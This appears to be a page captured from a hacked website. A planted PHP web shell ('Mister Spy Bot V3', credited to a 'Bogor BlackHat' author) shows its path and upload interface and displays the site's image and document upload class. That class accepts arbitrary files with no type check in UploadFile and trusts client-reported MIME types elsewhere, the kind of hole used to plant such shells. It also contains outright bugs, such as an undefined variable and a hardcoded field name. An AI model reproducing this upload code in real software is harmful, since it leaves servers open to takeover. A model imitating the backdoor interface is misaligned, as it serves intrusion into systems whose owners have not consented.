Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/library/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/library/class.upload.php

<?php

abstract class Upload
{
	const FileExtensionError 	= 1;
	const FileSizeError 		= 2; 
	const ImageSize				= 2000000;
	
	static function ResizeImage($im, $maxwidth, $maxheight, $name)
	{	
		global $dir;		

		$RESIZEWIDTH 	= false;
		$RESIZEHEIGHT 	= false;
	
		$width 	= imagesx($im);
		$height = imagesy($im);

		if(($maxwidth && $width > $maxwidth) || ($maxheight && $height > $maxheight))
		{
			if($maxwidth && $width > $maxwidth)
			{
				$widthratio  = $maxwidth / $width;
				$RESIZEWIDTH = true;
			}
			
			if($maxheight && $height > $maxheight)
			{
				$heightratio  = $maxheight / $height;
				$RESIZEHEIGHT = true;
			}
			
			if($RESIZEWIDTH && $RESIZEHEIGHT)
			{
				if($widthratio < $heightratio)
				{
					$ratio = $widthratio;
				}
				else
				{
					$ratio = $heightratio;
				}
			}
			elseif($RESIZEWIDTH)
			{
				$ratio = $widthratio;
			}
			elseif($RESIZEHEIGHT)
			{
				$ratio = $heightratio;
			}
			
			$newwidth 	= $width * $ratio;
			$newheight 	= $height * $ratio;

			if(function_exists("imagecopyresampled"))
			{
				$newim = imagecreatetruecolor($newwidth, $newheight);
				imagecopyresampled($newim, $im, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
			}
			else
			{
				$newim = imagecreate($newwidth, $newheight);
				imagecopyresized($newim, $im, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
			}
			
			ImageJpeg($newim, $name);
			ImageDestroy($newim);
		}
		else
		{
			ImageJpeg($im, $name);
		}
	}
	
	
	static function RenameFile($Name)
	{
		$AuxName = strrpos($Name, ".");
		
		$NewName = date('Ymdhis') . rand(0, 999) . substr($Name, $AuxName);
	
		return strtolower($NewName);
	}

	
	static function UploadImage ($FileName, $Name, $Directorio, $Width, $Height, $Directorio2 = '', $Width2 = '', $Height2 = '')
	{	
		$Name = Upload::RenameFile($Name);
		
		$arrExtensiones = array
		(
			"image/pjpeg",
			"image/jpeg",
			"image/gif"
		);
			
		if ((!isset($_FILES[$FileName]['size'])) || ($_FILES[$FileName]['size'] == 0) || (!isset($_FILES[$FileName]['type'])) || ($_FILES[$FileName]['type'] == ''))
			return Upload::FileSizeError;
			
		if ($_FILES[$FileName]['size'] > Upload::ImageSize)
			return Upload::FileSizeError;
			
		if (!in_array($_FILES[$FileName]['type'], $arrExtensiones))
			return Upload::FileExtensionError;		

		if ((isset($_FILES[$FileName])) && ($_FILES[$FileName]['size']))
		{
			if (($_FILES[$FileName]['type'] == "image/pjpeg") || ($_FILES[$FileName]['type'] == "image/jpeg"))
			{
				$im = imagecreatefromjpeg($_FILES[$FileName]['tmp_name']);
			}
			elseif (($_FILES[$FileName]['type'] == "image/x-png") || ($_FILES[$FileName]['type'] == "image/png"))
			{
				$im = imagecreatefrompng($_FILES['image']['tmp_name']);
			}
			elseif ($_FILES[$FileName]['type'] == "image/gif")
			{
				$im = imagecreatefromgif($_FILES[$FileName]['tmp_name']);
			}
			if ($im)
			{
				Upload::ResizeImage ($im, $Width, $Height, $Directorio . $Name);
				
				if (($Directorio2 != '') && ($Width2 != '') && ($Height2 != ''))
				{
					Upload::ResizeImage ($im, $Width2, $Height2, $Directorio2 . $Name);
				}
				ImageDestroy ($im);
			}
		}
		
		return $Name;
	}
	
	
	static function UploadImageProducto ($FileName, $Name, $Directorio, $Width, $Height, $Directorio2 = '', $Width2 = '', $Height2 = '', $Directorio3 = '', $Width3 = '', $Height3 = '')
	{	
		$Name = Upload::RenameFile($Name);
		
		$arrExtensiones = array
		(
			"image/pjpeg",
			"image/jpeg",
			"image/gif"
		);
			
		if ((!isset($_FILES[$FileName]['size'])) || ($_FILES[$FileName]['size'] == 0) || (!isset($_FILES[$FileName]['type'])) || ($_FILES[$FileName]['type'] == ''))
			return Upload::FileSizeError;
			
		if ($_FILES[$FileName]['size'] > Upload::ImageSize)
			return Upload::FileSizeError;
			
		if (!in_array($_FILES[$FileName]['type'], $arrExtensiones))
			return Upload::FileExtensionError;		

		if ((isset($_FILES[$FileName])) && ($_FILES[$FileName]['size']))
		{
			if (($_FILES[$FileName]['type'] == "image/pjpeg") || ($_FILES[$FileName]['type'] == "image/jpeg"))
			{
				$im = imagecreatefromjpeg($_FILES[$FileName]['tmp_name']);
			}
			elseif (($_FILES[$FileName]['type'] == "image/x-png") || ($_FILES[$FileName]['type'] == "image/png"))
			{
				$im = imagecreatefrompng($_FILES['image']['tmp_name']);
			}
			elseif ($_FILES[$FileName]['type'] == "image/gif")
			{
				$im = imagecreatefromgif($_FILES[$FileName]['tmp_name']);
			}
			if ($im)
			{
				Upload::ResizeImage ($im, $Width, $Height, $Directorio . $Name);
				
				if (($Directorio2 != '') && ($Width2 != '') && ($Height2 != ''))
				{
					Upload::ResizeImage ($im, $Width2, $Height2, $Directorio2 . $Name);
				}
				if (($Directorio3 != '') && ($Width3 != '') && ($Height3 != ''))
				{
					Upload::ResizeImage ($im, $Width3, $Height3, $Directorio3 . $Name);
				}
				ImageDestroy ($im);
			}
		}
		
		return $Name;
	}

	
	static function UploadDocument($Directorio, $CampoNombre)
	{
		$arrExtensiones = array
		(
			"application/msword",				/* .doc */
			"application/vnd.ms-excel",			/* .xls */
			"application/vnd.ms-powerpoint",	/* .ppt */
			"application/pdf"					/* .pdf */
		);

		if (!in_array($_FILES[$CampoNombre]['type'], $arrExtensiones))
			return Upload::FileExtensionError;
		
		if ($_FILES[$FileName]['size'] > Upload::ImageSize)
			return Upload::FileSizeError;
				
		$File = Upload::RenameFile($_FILES[$CampoNombre]['name']);
						
		$UrlToSave = $Directorio . $File;
			
		if (!move_uploaded_file($_FILES[$CampoNombre]['tmp_name'], $UrlToSave))
		{
			return false;
		}
		
		return $File;
	}
	

	static function UploadFile($Directorio, $CampoNombre)
	{
		if ($_FILES[$CampoNombre]['size'] > Upload::ImageSize)
			return Upload::FileSizeError;
		
		$File = Upload::RenameFile($_FILES[$CampoNombre]['name']);
		
		$UrlToSave = $Directorio . $File;
			
		if (!move_uploaded_file($_FILES[$CampoNombre]['tmp_name'], $UrlToSave))
		{
			return false;
		}
		
		return $File;
	}
	
	
	static function UnlinkFile($File)
	{
		if ((trim($File) != "") && (file_exists($File)))
		{
			unlink($File);
			return true;
		}
		
		return false;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat